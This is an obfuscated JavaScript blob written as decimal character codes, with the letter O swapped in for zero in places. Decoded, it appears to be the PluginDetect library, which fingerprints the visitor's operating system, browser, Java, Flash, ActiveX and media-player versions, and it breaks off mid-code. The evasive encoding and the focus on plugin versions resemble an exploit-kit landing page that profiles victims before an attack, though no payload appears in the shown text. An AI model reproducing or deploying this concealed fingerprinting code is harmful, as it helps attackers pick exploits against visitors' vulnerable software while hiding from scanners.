123,118,97,114,32,1O3,61,91,34,87,1O5,11O,34,44,49,44,34,77,97,99,34,44,5O,44,34,76,1O5,11O,117,12O,34,44,51,44,34,7O,114,1O1,1O1,66,83,68,34,44,52,44,34,1O5,8O,1O4,111,11O,1O1,34,44,5O,49,46,49,44,34,1O5,8O,111,1OO,34,44,5O,49,46,5O,44,34,1O5,8O,97,1OO,34,44,5O,49,46,51,44,34,87,1O5,11O,46,34,43,34,42,67,69,34,44,5O,5O,46,49,44,34,87,1O5,11O,46,42,77,111,98,1O5,1O8,1O1,34,44,5O,5O,46,5O,44,34,8O,111,99,1O7,1O1,116,92,115,42,8O,67,34,44,5O,5O,46,51,44,34,34,44,49,48,48,93,59,1O2,111,114,4O,1O4,61,1O3,46,1O8,1O1,11O,1O3,116,1O4,45,5O,59,1O4,62,61,48,59,1O4,61,1O4,45,5O,41,123,1O5,1O2,4O,1O3,91,1O4,93,38,38,11O,1O1,119,32,82,1O1,1O3,69,12O,112,4O,1O3,91,1O4,93,44,34,1O5,34,41,46,116,1O1,115,116,4O,98,41,41,123,1OO,46,79,83,61,1O3,91,1O4,43,49,93,59,98,114,1O1,97,1O7,125,125,125,59,1OO,46,1O4,1O1,97,1OO,61,1O5,46,1O3,1O1,116,69,1O8,1O1,1O9,1O1,11O,116,115,66,121,84,97,1O3,78,97,1O9,1O1,4O,34,1O4,1O1,97,1OO,34,41,91,48,93,124,124,1O5,46,1O3,1O1,116,69,1O8,1O1,1O9,1O1,11O,116,115,66,121,84,97,1O3,78,97,1O9,1O1,4O,34,98,111,1OO,121,34,41,91,48,93,124,124,1O5,46,98,111,1OO,121,124,124,11O,117,1O8,1O8,59,1OO,46,1O5,115,73,69,61,11O,1O1,119,32,7O,117,11O,99,116,1O5,111,11O,4O,34,114,1O1,116,117,114,11O,47,42,64,99,99,95,111,11O,33,64,42,47,33,49,34,41,4O,41,59,1OO,46,118,1O1,114,73,69,61,1OO,46,1O5,115,73,69,38,38,4O,47,77,83,73,69,92,115,42,4O,92,1OO,43,92,46,63,92,1OO,42,41,47,1O5,41,46,116,1O1,115,116,4O,1O8,41,63,112,97,114,115,1O1,7O,1O8,111,97,116,4O,82,1O1,1O3,69,12O,112,46,36,49,44,49,48,41,58,11O,117,1O8,1O8,59,1OO,46,65,99,116,1O5,118,1O1,88,69,11O,97,98,1O8,1O1,1OO,61,1O2,97,1O8,115,1O1,59,1O5,1O2,4O,1OO,46,1O5,115,73,69,41,123,118,97,114,32,1O4,44,1O9,61,91,34,77,115,12O,1O9,1O8,5O,46,88,77,76,72,84,84,8O,34,44,34,77,115,12O,1O9,1O8,5O,46,68,79,77,68,111,99,117,1O9,1O1,11O,116,34,44,34,77,1O5,99,114,111,115,111,1O2,116,46,88,77,76,68,79,77,34,44,34,83,1O4,111,99,1O7,119,97,118,1O1,7O,1O8,97,115,1O4,46,83,1O4,111,99,1O7,119,97,118,1O1,7O,1O8,97,115,1O4,34,44,34,84,68,67,67,116,1O8,46,84,68,67,67,116,1O8,34,44,34,83,1O4,1O1,1O8,1O8,46,85,73,72,1O1,1O8,112,1O1,114,34,44,34,83,99,114,1O5,112,116,1O5,11O,1O3,46,68,1O5,99,116,1O5,111,11O,97,114,121,34,44,34,119,1O9,112,1O8,97,121,1O1,114,46,111,99,12O,34,93,59,1O2,111,114,4O,1O4,61,48,59,1O4,6O,1O9,46,1O8,1O1,11O,1O3,116,1O4,59,1O4,43,43,41,123,1O5,1O2,4O,1OO,46,1O3,1O1,116,65,88,79,4O,1O9,91,1O4,93,41,41,123,1OO,46,65,99,116,1O5,118,1O1,88,69,11O,97,98,1O8,1O1,1OO,61,116,114,117,1O1,59,98,114,1O1,97,1O7,125,125,125,59,1OO,46,1O5,115,71,1O1,99,1O7,111,61,4O,47,71,1O1,99,1O7,111,92,115,42,92,47,92,115,42,92,1OO,47,1O5,41,46,116,1O1,115,116,4O,1O8,41,38,38,4O,47,71,1O1,99,1O7,111,47,1O5,41,46,116,1O1,115,116,4O,1O7,41,59,1OO,46,118,1O1,114,71,1O1,99,1O7,111,61,1OO,46,1O5,115,71,1O1,99,1O7,111,63,1OO,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,4O,47,114,118,92,115,42,92,58,92,115,42,4O,91,92,46,92,44,92,1OO,93,43,41,47,1O5,41,46,116,1O1,115,116,4O,1O8,41,63,82,1O1,1O3,69,12O,112,46,36,49,58,34,48,46,57,34,41,58,11O,117,1O8,1O8,59,1OO,46,1O5,115,67,1O4,114,111,1O9,1O1,61,4O,47,67,1O4,114,111,1O9,1O1,92,115,42,92,47,92,115,42,4O,92,1OO,91,92,1OO,92,46,93,42,41,47,1O5,41,46,116,1O1,115,116,4O,1O8,41,59,1OO,46,118,1O1,114,67,1O4,114,111,1O9,1O1,61,1OO,46,1O5,115,67,1O4,114,111,1O9,1O1,63,1OO,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,82,1O1,1O3,69,12O,112,46,36,49,41,58,11O,117,1O8,1O8,59,1OO,46,1O5,115,83,97,1O2,97,114,1O5,61,4O,4O,47,65,112,112,1O8,1O1,47,1O5,41,46,116,1O1,115,116,4O,1O6,41,124,124,4O,33,1O6,38,38,33,1OO,46,1O5,115,67,1O4,114,111,1O9,1O1,41,41,38,38,4O,47,83,97,1O2,97,114,1O5,92,115,42,92,47,92,115,42,4O,92,1OO,91,92,1OO,92,46,93,42,41,47,1O5,41,46,116,1O1,115,116,4O,1O8,41,59,1OO,46,118,1O1,114,83,97,1O2,97,114,1O5,61,1OO,46,1O5,115,83,97,1O2,97,114,1O5,38,38,4O,47,86,1O1,114,115,1O5,111,11O,92,115,42,92,47,92,115,42,4O,92,1OO,91,92,1OO,92,46,93,42,41,47,1O5,41,46,116,1O1,115,116,4O,1O8,41,63,1OO,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,82,1O1,1O3,69,12O,112,46,36,49,41,58,11O,117,1O8,1O8,59,1OO,46,1O5,115,79,112,1O1,114,97,61,4O,47,79,112,1O1,114,97,92,115,42,91,92,47,93,63,92,115,42,4O,92,1OO,43,92,46,63,92,1OO,42,41,47,1O5,41,46,116,1O1,115,116,4O,1O8,41,59,1OO,46,118,1O1,114,79,112,1O1,114,97,61,1OO,46,1O5,115,79,112,1O1,114,97,38,38,4O,4O,47,86,1O1,114,115,1O5,111,11O,92,115,42,92,47,92,115,42,4O,92,1OO,43,92,46,63,92,1OO,42,41,47,1O5,41,46,116,1O1,115,116,4O,1O8,41,124,124,49,41,63,112,97,114,115,1O1,7O,1O8,111,97,116,4O,82,1O1,1O3,69,12O,112,46,36,49,44,49,48,41,58,11O,117,1O8,1O8,59,1OO,46,97,1OO,1OO,87,1O5,11O,69,118,1O1,11O,116,4O,34,1O8,111,97,1OO,34,44,1OO,46,1O4,97,11O,1OO,1O8,1O1,114,4O,1OO,46,114,117,11O,87,76,1O2,117,11O,99,115,44,1OO,41,41,125,44,1O5,11O,1O5,116,58,1O2,117,11O,99,116,1O5,111,11O,4O,1OO,41,123,118,97,114,32,99,61,116,1O4,1O5,115,44,98,44,1OO,44,97,61,123,115,116,97,116,117,115,58,45,51,44,112,1O8,117,1O3,1O5,11O,58,48,125,59,1O5,1O2,4O,33,99,46,1O5,115,83,116,114,1O5,11O,1O3,4O,1OO,41,41,123,114,1O1,116,117,114,11O,32,97,125,1O5,1O2,4O,1OO,46,1O8,1O1,11O,1O3,116,1O4,61,61,49,41,123,99,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,1O1,1O8,1O5,1O9,1O5,116,1O1,114,61,1OO,59,114,1O1,116,117,114,11O,32,97,125,1OO,61,1OO,46,116,111,76,111,119,1O1,114,67,97,115,1O1,4O,41,46,114,1O1,112,1O8,97,99,1O1,4O,47,92,115,47,1O3,44,34,34,41,59,98,61,99,46,8O,1O8,117,1O3,1O5,11O,115,91,1OO,93,59,1O5,1O2,4O,33,98,124,124,33,98,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,41,123,114,1O1,116,117,114,11O,32,97,125,97,46,112,1O8,117,1O3,1O5,11O,61,98,59,1O5,1O2,4O,33,99,46,1O5,115,68,1O1,1O2,1O5,11O,1O1,1OO,4O,98,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,41,41,123,98,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,61,11O,117,1O8,1O8,59,98,46,118,1O1,114,115,1O5,111,11O,61,11O,117,1O8,1O8,59,98,46,118,1O1,114,115,1O5,111,11O,48,61,11O,117,1O8,1O8,59,98,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,111,11O,1O1,61,11O,117,1O8,1O8,59,98,46,112,1O8,117,1O3,1O5,11O,78,97,1O9,1O1,61,1OO,125,99,46,1O3,97,114,98,97,1O3,1O1,61,1O2,97,1O8,115,1O1,59,1O5,1O2,4O,99,46,1O5,115,73,69,38,38,33,99,46,65,99,116,1O5,118,1O1,88,69,11O,97,98,1O8,1O1,1OO,38,38,1OO,33,61,61,34,74,97,34,43,34,118,97,34,41,123,97,46,115,116,97,116,117,115,61,45,5O,59,114,1O1,116,117,114,11O,32,97,125,97,46,115,116,97,116,117,115,61,49,59,114,1O1,116,117,114,11O,32,97,125,44,1O2,8O,117,115,1O4,58,1O2,117,11O,99,116,1O5,111,11O,4O,98,44,97,41,123,118,97,114,32,99,61,116,1O4,1O5,115,59,1O5,1O2,4O,99,46,1O5,115,65,114,114,97,121,4O,97,41,38,38,4O,99,46,1O5,115,7O,117,11O,99,4O,98,41,124,124,4O,99,46,1O5,115,65,114,114,97,121,4O,98,41,38,38,99,46,1O5,115,7O,117,11O,99,4O,98,91,48,93,41,38,38,48,6O,98,46,1O8,1O1,11O,1O3,116,1O4,41,41,41,123,97,46,112,117,115,1O4,4O,98,41,125,125,44,99,97,1O8,1O8,65,114,114,97,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,98,41,123,118,97,114,32,99,61,116,1O4,1O5,115,44,97,59,1O5,1O2,4O,99,46,1O5,115,65,114,114,97,121,4O,98,41,41,123,1O2,111,114,4O,97,61,48,59,97,6O,98,46,1O8,1O1,11O,1O3,116,1O4,59,97,43,43,41,123,1O5,1O2,4O,98,91,97,93,61,61,61,11O,117,1O8,1O8,41,123,114,1O1,116,117,114,11O,125,99,46,99,97,1O8,1O8,4O,98,91,97,93,41,59,98,91,97,93,61,11O,117,1O8,1O8,125,125,125,44,99,97,1O8,1O8,58,1O2,117,11O,99,116,1O5,111,11O,4O,99,41,123,118,97,114,32,98,61,116,1O4,1O5,115,44,97,61,98,46,1O5,115,65,114,114,97,121,4O,99,41,63,99,46,1O8,1O1,11O,1O3,116,1O4,58,45,49,59,1O5,1O2,4O,48,6O,97,38,38,98,46,1O5,115,7O,117,11O,99,4O,99,91,48,93,41,41,123,99,91,48,93,4O,98,44,97,62,49,63,99,91,49,93,58,48,44,97,62,5O,63,99,91,5O,93,58,48,44,97,62,51,63,99,91,51,93,58,48,41,125,1O1,1O8,115,1O1,123,1O5,1O2,4O,98,46,1O5,115,7O,117,11O,99,4O,99,41,41,123,99,4O,98,41,125,125,125,44,36,36,1O5,115,77,1O5,11O,86,1O1,114,115,1O5,111,11O,58,1O2,117,11O,99,116,1O5,111,11O,4O,97,41,123,114,1O1,116,117,114,11O,32,1O2,117,11O,99,116,1O5,111,11O,4O,1O4,44,1O3,44,1OO,44,99,41,123,118,97,114,32,1O1,61,97,46,1O5,11O,1O5,116,4O,1O4,41,44,1O2,44,98,61,45,49,44,1O6,61,123,125,59,1O5,1O2,4O,1O1,46,115,116,97,116,117,115,6O,48,41,123,114,1O1,116,117,114,11O,32,1O1,46,115,116,97,116,117,115,125,1O2,61,1O1,46,112,1O8,117,1O3,1O5,11O,59,1O3,61,97,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,97,46,1O5,115,78,117,1O9,4O,1O3,41,63,1O3,46,116,111,83,116,114,1O5,11O,1O3,4O,41,58,4O,97,46,1O5,115,83,116,114,78,117,1O9,4O,1O3,41,63,97,46,1O3,1O1,116,78,117,1O9,4O,1O3,41,58,34,48,34,41,41,59,1O5,1O2,4O,1O2,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,111,11O,1O1,33,61,49,41,123,1O2,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,4O,1O3,44,1OO,44,99,41,59,1O5,1O2,4O,1O2,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,111,11O,1O1,61,61,61,11O,117,1O8,1O8,41,123,1O2,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,111,11O,1O1,61,49,125,125,97,46,99,1O8,1O1,97,11O,117,112,4O,41,59,1O5,1O2,4O,1O2,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,33,61,61,11O,117,1O8,1O8,41,123,98,61,1O2,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,6O,61,48,46,53,63,1O2,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,58,4O,1O2,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,61,61,48,46,55,63,49,58,4O,1O2,46,118,1O1,114,115,1O5,111,11O,61,61,61,11O,117,1O8,1O8,63,48,58,4O,97,46,99,111,1O9,112,97,114,1O1,78,117,1O9,115,4O,1O2,46,118,1O1,114,115,1O5,111,11O,44,1O3,44,1O2,41,62,61,48,63,49,58,45,48,46,49,41,41,41,125,59,114,1O1,116,117,114,11O,32,98,125,125,44,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,1O1,1O8,1O5,1O9,1O5,116,1O1,114,58,34,44,34,44,36,36,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,58,1O2,117,11O,99,116,1O5,111,11O,4O,97,41,123,114,1O1,116,117,114,11O,32,1O2,117,11O,99,116,1O5,111,11O,4O,1O3,44,1OO,44,99,41,123,118,97,114,32,1O1,61,97,46,1O5,11O,1O5,116,4O,1O3,41,44,1O2,44,98,44,1O4,61,123,125,59,1O5,1O2,4O,1O1,46,115,116,97,116,117,115,6O,48,41,123,114,1O1,116,117,114,11O,32,11O,117,1O8,1O8,125,59,1O2,61,1O1,46,112,1O8,117,1O3,1O5,11O,59,1O5,1O2,4O,1O2,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,111,11O,1O1,33,61,49,41,123,1O2,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,4O,11O,117,1O8,1O8,44,1OO,44,99,41,59,1O5,1O2,4O,1O2,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,111,11O,1O1,61,61,61,11O,117,1O8,1O8,41,123,1O2,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,111,11O,1O1,61,49,125,125,97,46,99,1O8,1O1,97,11O,117,112,4O,41,59,98,61,4O,1O2,46,118,1O1,114,115,1O5,111,11O,124,124,1O2,46,118,1O1,114,115,1O5,111,11O,48,41,59,98,61,98,63,98,46,114,1O1,112,1O8,97,99,1O1,4O,97,46,115,112,1O8,1O5,116,78,117,1O9,82,1O1,1O3,12O,44,97,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,1O1,1O8,1O5,1O9,1O5,116,1O1,114,41,58,98,59,114,1O1,116,117,114,11O,32,98,125,125,44,99,1O8,1O1,97,11O,117,112,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,97,61,116,1O4,1O5,115,59,1O5,1O2,4O,97,46,1O3,97,114,98,97,1O3,1O1,38,38,97,46,1O5,115,68,1O1,1O2,1O5,11O,1O1,1OO,4O,119,1O5,11O,1OO,111,119,46,67,111,1O8,1O8,1O1,99,116,71,97,114,98,97,1O3,1O1,41,41,123,119,1O5,11O,1OO,111,119,46,67,111,1O8,1O8,1O1,99,116,71,97,114,98,97,1O3,1O1,4O,41,125,125,44,97,1OO,1OO,87,1O5,11O,69,118,1O1,11O,116,58,1O2,117,11O,99,116,1O5,111,11O,4O,1OO,44,99,41,123,118,97,114,32,1O1,61,116,1O4,1O5,115,44,97,61,119,1O5,11O,1OO,111,119,44,98,59,1O5,1O2,4O,1O1,46,1O5,115,7O,117,11O,99,4O,99,41,41,123,1O5,1O2,4O,97,46,97,1OO,1OO,69,118,1O1,11O,116,76,1O5,115,116,1O1,11O,1O1,114,41,123,97,46,97,1OO,1OO,69,118,1O1,11O,116,76,1O5,115,116,1O1,11O,1O1,114,4O,1OO,44,99,44,1O2,97,1O8,115,1O1,41,125,1O1,1O8,115,1O1,123,1O5,1O2,4O,97,46,97,116,116,97,99,1O4,69,118,1O1,11O,116,41,123,97,46,97,116,116,97,99,1O4,69,118,1O1,11O,116,4O,34,111,11O,34,43,1OO,44,99,41,125,1O1,1O8,115,1O1,123,98,61,97,91,34,111,11O,34,43,1OO,93,59,97,91,34,111,11O,34,43,1OO,93,61,1O1,46,119,1O5,11O,72,97,11O,1OO,1O8,1O1,114,4O,99,44,98,41,125,125,125,125,44,119,1O5,11O,72,97,11O,1OO,1O8,1O1,114,58,1O2,117,11O,99,116,1O5,111,11O,4O,1OO,44,99,41,123,114,1O1,116,117,114,11O,32,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,1OO,4O,41,59,1O5,1O2,4O,116,121,112,1O1,111,1O2,32,99,61,61,34,1O2,117,11O,99,116,1O5,111,11O,34,41,123,99,4O,41,125,125,125,44,87,76,1O2,117,11O,99,115,48,58,91,93,44,87,76,1O2,117,11O,99,115,58,91,93,44,114,117,11O,87,76,1O2,117,11O,99,115,58,1O2,117,11O,99,116,1O5,111,11O,4O,97,41,123,118,97,114,32,98,61,123,125,59,97,46,119,1O5,11O,76,111,97,1OO,1O1,1OO,61,116,114,117,1O1,59,97,46,99,97,1O8,1O8,65,114,114,97,121,4O,97,46,87,76,1O2,117,11O,99,115,48,41,59,97,46,99,97,1O8,1O8,65,114,114,97,121,4O,97,46,87,76,1O2,117,11O,99,115,41,59,1O5,1O2,4O,97,46,111,11O,68,111,11O,1O1,69,1O9,112,116,121,68,1O5,118,41,123,97,46,111,11O,68,111,11O,1O1,69,1O9,112,116,121,68,1O5,118,4O,41,125,125,44,119,1O5,11O,76,111,97,1OO,1O1,1OO,58,1O2,97,1O8,115,1O1,44,36,36,111,11O,87,1O5,11O,1OO,111,119,76,111,97,1OO,1O1,1OO,58,1O2,117,11O,99,116,1O5,111,11O,4O,97,41,123,114,1O1,116,117,114,11O,32,1O2,117,11O,99,116,1O5,111,11O,4O,98,41,123,1O5,1O2,4O,97,46,119,1O5,11O,76,111,97,1OO,1O1,1OO,41,123,97,46,99,97,1O8,1O8,4O,98,41,125,1O1,1O8,115,1O1,123,97,46,1O2,8O,117,115,1O4,4O,98,44,97,46,87,76,1O2,117,11O,99,115,41,125,125,125,44,36,36,111,11O,68,1O1,116,1O1,99,116,1O5,111,11O,68,111,11O,1O1,58,1O2,117,11O,99,116,1O5,111,11O,4O,97,41,123,114,1O1,116,117,114,11O,32,1O2,117,11O,99,116,1O5,111,11O,4O,1O4,44,1O3,44,99,44,98,41,123,118,97,114,32,1OO,61,97,46,1O5,11O,1O5,116,4O,1O4,41,44,1O7,44,1O1,44,1O6,61,123,125,59,1O5,1O2,4O,1OO,46,115,116,97,116,117,115,61,61,45,51,41,123,114,1O1,116,117,114,11O,32,45,49,125,1O1,61,1OO,46,112,1O8,117,1O3,1O5,11O,59,1O5,1O2,4O,33,97,46,1O5,115,65,114,114,97,121,4O,1O1,46,1O2,117,11O,99,115,41,41,123,1O1,46,1O2,117,11O,99,115,61,91,93,125,1O5,1O2,4O,1O1,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,111,11O,1O1,33,61,49,41,123,1O7,61,97,46,1O5,115,77,1O5,11O,86,1O1,114,115,1O5,111,11O,63,97,46,1O5,115,77,1O5,11O,86,1O1,114,115,1O5,111,11O,4O,1O4,44,34,48,34,44,99,44,98,41,58,97,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,4O,1O4,44,99,44,98,41,125,1O5,1O2,4O,1O1,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,33,61,45,48,46,53,38,38,1O1,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,33,61,48,46,53,41,123,97,46,99,97,1O8,1O8,4O,1O3,41,59,114,1O1,116,117,114,11O,32,49,125,1O5,1O2,4O,1O1,46,78,79,84,7O,41,123,97,46,1O2,8O,117,115,1O4,4O,1O3,44,1O1,46,1O2,117,11O,99,115,41,59,114,1O1,116,117,114,11O,32,48,125,114,1O1,116,117,114,11O,32,49,125,125,44,1OO,1O5,118,58,11O,117,1O8,1O8,44,1OO,1O5,118,73,68,58,34,112,1OO,112,1OO,34,44,1OO,1O5,118,87,1O5,1OO,116,1O4,58,53,48,44,112,1O8,117,1O3,1O5,11O,83,1O5,122,1O1,58,49,44,1O1,1O9,112,116,121,68,1O5,118,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,1OO,61,116,1O4,1O5,115,44,98,44,1O4,44,99,44,97,44,1O2,44,1O3,59,1O5,1O2,4O,1OO,46,1OO,1O5,118,38,38,1OO,46,1OO,1O5,118,46,99,1O4,1O5,1O8,1OO,78,111,1OO,1O1,115,41,123,1O2,111,114,4O,98,61,1OO,46,1OO,1O5,118,46,99,1O4,1O5,1O8,1OO,78,111,1OO,1O1,115,46,1O8,1O1,11O,1O3,116,1O4,45,49,59,98,62,61,48,59,98,45,45,41,123,99,61,1OO,46,1OO,1O5,118,46,99,1O4,1O5,1O8,1OO,78,111,1OO,1O1,115,91,98,93,59,1O5,1O2,4O,99,38,38,99,46,99,1O4,1O5,1O8,1OO,78,111,1OO,1O1,115,41,123,1O2,111,114,4O,1O4,61,99,46,99,1O4,1O5,1O8,1OO,78,111,1OO,1O1,115,46,1O8,1O1,11O,1O3,116,1O4,45,49,59,1O4,62,61,48,59,1O4,45,45,41,123,1O3,61,99,46,99,1O4,1O5,1O8,1OO,78,111,1OO,1O1,115,91,1O4,93,59,116,114,121,123,99,46,114,1O1,1O9,111,118,1O1,67,1O4,1O5,1O8,1OO,4O,1O3,41,125,99,97,116,99,1O4,4O,1O2,41,123,125,125,125,1O5,1O2,4O,99,41,123,116,114,121,123,1OO,46,1OO,1O5,118,46,114,1O1,1O9,111,118,1O1,67,1O4,1O5,1O8,1OO,4O,99,41,125,99,97,116,99,1O4,4O,1O2,41,123,125,125,125,125,1O5,1O2,4O,33,1OO,46,1OO,1O5,118,41,123,97,61,1OO,111,99,117,1O9,1O1,11O,116,46,1O3,1O1,116,69,1O8,1O1,1O9,1O1,11O,116,66,121,73,1OO,4O,1OO,46,1OO,1O5,118,73,68,41,59,1O5,1O2,4O,97,41,123,1OO,46,1OO,1O5,118,61,97,125,125,1O5,1O2,4O,1OO,46,1OO,1O5,118,38,38,1OO,46,1OO,1O5,118,46,112,97,114,1O1,11O,116,78,111,1OO,1O1,41,123,116,114,121,123,1OO,46,1OO,1O5,118,46,112,97,114,1O1,11O,116,78,111,1OO,1O1,46,114,1O1,1O9,111,118,1O1,67,1O4,1O5,1O8,1OO,4O,1OO,46,1OO,1O5,118,41,125,99,97,116,99,1O4,4O,1O2,41,123,125,1OO,46,1OO,1O5,118,61,11O,117,1O8,1O8,125,125,44,68,79,78,69,1O2,117,11O,99,115,58,91,93,44,111,11O,68,111,11O,1O1,69,1O9,112,116,121,68,1O5,118,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,99,61,116,1O4,1O5,115,44,97,44,98,59,1O5,1O2,4O,33,99,46,119,1O5,11O,76,111,97,1OO,1O1,1OO,41,123,114,1O1,116,117,114,11O,125,1O5,1O2,4O,99,46,87,76,1O2,117,11O,99,115,38,38,99,46,87,76,1O2,117,11O,99,115,46,1O8,1O1,11O,1O3,116,1O4,38,38,99,46,87,76,1O2,117,11O,99,115,91,99,46,87,76,1O2,117,11O,99,115,46,1O8,1O1,11O,1O3,116,1O4,45,49,93,33,61,61,11O,117,1O8,1O8,41,123,114,1O1,116,117,114,11O,125,1O2,111,114,4O,97,32,1O5,11O,32,99,41,123,98,61,99,91,97,93,59,1O5,1O2,4O,98,38,38,98,46,1O2,117,11O,99,115,41,123,1O5,1O2,4O,98,46,79,84,7O,61,61,51,41,123,114,1O1,116,117,114,11O,125,1O5,1O2,4O,98,46,1O2,117,11O,99,115,46,1O8,1O1,11O,1O3,116,1O4,38,38,98,46,1O2,117,11O,99,115,91,98,46,1O2,117,11O,99,115,46,1O8,1O1,11O,1O3,116,1O4,45,49,93,33,61,61,11O,117,1O8,1O8,41,123,114,1O1,116,117,114,11O,125,125,125,1O2,111,114,4O,97,61,48,59,97,6O,99,46,68,79,78,69,1O2,117,11O,99,115,46,1O8,1O1,11O,1O3,116,1O4,59,97,43,43,41,123,99,46,99,97,1O8,1O8,65,114,114,97,121,4O,99,46,68,79,78,69,1O2,117,11O,99,115,41,125,99,46,1O1,1O9,112,116,121,68,1O5,118,4O,41,125,44,1O3,1O1,116,87,1O5,1OO,116,1O4,58,1O2,117,11O,99,116,1O5,111,11O,4O,99,41,123,1O5,1O2,4O,99,41,123,118,97,114,32,97,61,99,46,115,99,114,111,1O8,1O8,87,1O5,1OO,116,1O4,124,124,99,46,111,1O2,1O2,115,1O1,116,87,1O5,1OO,116,1O4,44,98,61,116,1O4,1O5,115,59,1O5,1O2,4O,98,46,1O5,115,78,117,1O9,4O,97,41,41,123,114,1O1,116,117,114,11O,32,97,125,125,114,1O1,116,117,114,11O,32,45,49,125,44,1O3,1O1,116,84,97,1O3,83,116,97,116,117,115,58,1O2,117,11O,99,116,1O5,111,11O,4O,1O9,44,1O3,44,97,44,98,41,123,118,97,114,32,99,61,116,1O4,1O5,115,44,1O2,44,1O7,61,1O9,46,115,112,97,11O,44,1O8,61,99,46,1O3,1O1,116,87,1O5,1OO,116,1O4,4O,1O7,41,44,1O4,61,97,46,115,112,97,11O,44,1O6,61,99,46,1O3,1O1,116,87,1O5,1OO,116,1O4,4O,1O4,41,44,1OO,61,1O3,46,115,112,97,11O,44,1O5,61,99,46,1O3,1O1,116,87,1O5,1OO,116,1O4,4O,1OO,41,59,1O5,1O2,4O,33,1O7,124,124,33,1O4,124,124,33,1OO,124,124,33,99,46,1O3,1O1,116,68,79,77,111,98,1O6,4O,1O9,41,41,123,114,1O1,116,117,114,11O,32,45,5O,125,1O5,1O2,4O,1O6,6O,1O5,124,124,48,62,1O8,124,124,48,62,1O6,124,124,48,62,1O5,124,124,1O5,6O,61,99,46,112,1O8,117,1O3,1O5,11O,83,1O5,122,1O1,124,124,99,46,112,1O8,117,1O3,1O5,11O,83,1O5,122,1O1,6O,49,41,123,114,1O1,116,117,114,11O,32,48,125,1O5,1O2,4O,1O8,62,61,1O5,41,123,114,1O1,116,117,114,11O,32,45,49,125,116,114,121,123,1O5,1O2,4O,1O8,61,61,99,46,112,1O8,117,1O3,1O5,11O,83,1O5,122,1O1,38,38,4O,33,99,46,1O5,115,73,69,124,124,99,46,1O3,1O1,116,68,79,77,111,98,1O6,4O,1O9,41,46,114,1O1,97,1OO,121,83,116,97,116,1O1,61,61,52,41,41,123,1O5,1O2,4O,33,1O9,46,119,1O5,11O,76,111,97,1OO,1O1,1OO,38,38,99,46,119,1O5,11O,76,111,97,1OO,1O1,1OO,41,123,114,1O1,116,117,114,11O,32,49,125,1O5,1O2,4O,1O9,46,119,1O5,11O,76,111,97,1OO,1O1,1OO,38,38,99,46,1O5,115,78,117,1O9,4O,98,41,41,123,1O5,1O2,4O,33,99,46,1O5,115,78,117,1O9,4O,1O9,46,99,111,117,11O,116,41,41,123,1O9,46,99,111,117,11O,116,61,98,125,1O5,1O2,4O,98,45,1O9,46,99,111,117,11O,116,62,61,49,48,41,123,114,1O1,116,117,114,11O,32,49,125,125,125,125,99,97,116,99,1O4,4O,1O2,41,123,125,114,1O1,116,117,114,11O,32,48,125,44,1O3,1O1,116,68,79,77,111,98,1O6,58,1O2,117,11O,99,116,1O5,111,11O,4O,1O3,44,97,41,123,118,97,114,32,1O2,44,1OO,61,116,1O4,1O5,115,44,99,61,1O3,63,1O3,46,115,112,97,11O,58,48,44,98,61,99,38,38,99,46,1O2,1O5,114,115,116,67,1O4,1O5,1O8,1OO,63,49,58,48,59,116,114,121,123,1O5,1O2,4O,98,38,38,97,41,123,1OO,46,1OO,1O5,118,46,1O2,111,99,117,115,4O,41,125,125,99,97,116,99,1O4,4O,1O2,41,123,125,114,1O1,116,117,114,11O,32,98,63,99,46,1O2,1O5,114,115,116,67,1O4,1O5,1O8,1OO,58,11O,117,1O8,1O8,125,44,115,1O1,116,83,116,121,1O8,1O1,58,1O2,117,11O,99,116,1O5,111,11O,4O,98,44,1O3,41,123,118,97,114,32,1O2,61,98,46,115,116,121,1O8,1O1,44,97,44,1OO,44,99,61,116,1O4,1O5,115,59,1O5,1O2,4O,1O2,38,38,1O3,41,123,1O2,111,114,4O,97,61,48,59,97,6O,1O3,46,1O8,1O1,11O,1O3,116,1O4,59,97,61,97,43,5O,41,123,116,114,121,123,1O2,91,1O3,91,97,93,93,61,1O3,91,97,43,49,93,125,99,97,116,99,1O4,4O,1OO,41,123,125,125,125,125,44,1O5,11O,115,1O1,114,116,68,1O5,118,73,11O,66,111,1OO,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,1O5,44,1O3,41,123,118,97,114,32,1O2,44,99,61,116,1O4,1O5,115,44,1O4,61,34,112,1OO,51,51,57,57,51,51,57,57,34,44,98,61,11O,117,1O8,1O8,44,1OO,61,1O3,63,119,1O5,11O,1OO,111,119,46,116,111,112,46,1OO,111,99,117,1O9,1O1,11O,116,58,119,1O5,11O,1OO,111,119,46,1OO,111,99,117,1O9,1O1,11O,116,44,97,61,1OO,46,1O3,1O1,116,69,1O8,1O1,1O9